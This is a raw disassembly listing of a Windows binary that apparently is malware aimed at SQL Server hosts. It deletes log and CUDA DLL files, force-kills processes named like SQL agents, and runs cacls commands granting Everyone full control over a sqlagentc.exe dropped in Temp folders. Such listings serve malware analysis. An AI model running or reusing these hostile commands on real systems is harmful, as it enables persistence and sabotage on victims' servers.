test ebx, ebx
je 0x4279b4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529040
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529040]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427a4b
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427a5e
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427a81
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427ae7
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427afa
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427b1d
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427b83
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427b96
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427bb9
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529048
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529048]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427c50
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427c63
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427c86
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427cec
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427cff
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427d22
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.nvrtc_builtins64_91.dll
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427d88
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427d9b
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427dbe
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427e24
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427e37
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427e5a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427ec0
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427ed3
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427ef6
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x529044
call fcn.0040e53c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529044]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427f8d
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x427fa0
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427fc3
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428029
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42803c
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42805f
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4280c5
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4280d8
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4280fb
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.sqlageatc.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4281de
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.sqlageatc.exe
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428244
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428257
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42827a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4282e0
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4282f3
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428316
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42837c
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42838f
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4283b2
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, 0x4ec8a2
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428495
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4ec8a2
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4284fb
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42850e
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428531
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428597
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4285aa
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4285cd
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.N_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x428633
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428646
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x428669
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, 0x4ec8d5
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42874c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4ec8d5
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4287b2
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4287c5
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4287e8
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42884e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x428861
push str.80005
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x42a24e
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x43b670
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 1
push 1
push 1
push 0xf
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlagentc.exe__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTC.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTC.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.SQLAGENTC.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4297b6
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.SQLAGENTC.exe
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42981c
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x42982f
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x429852
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4298b8
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4298cb
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4298ee
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x429954
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x429967
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42998a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
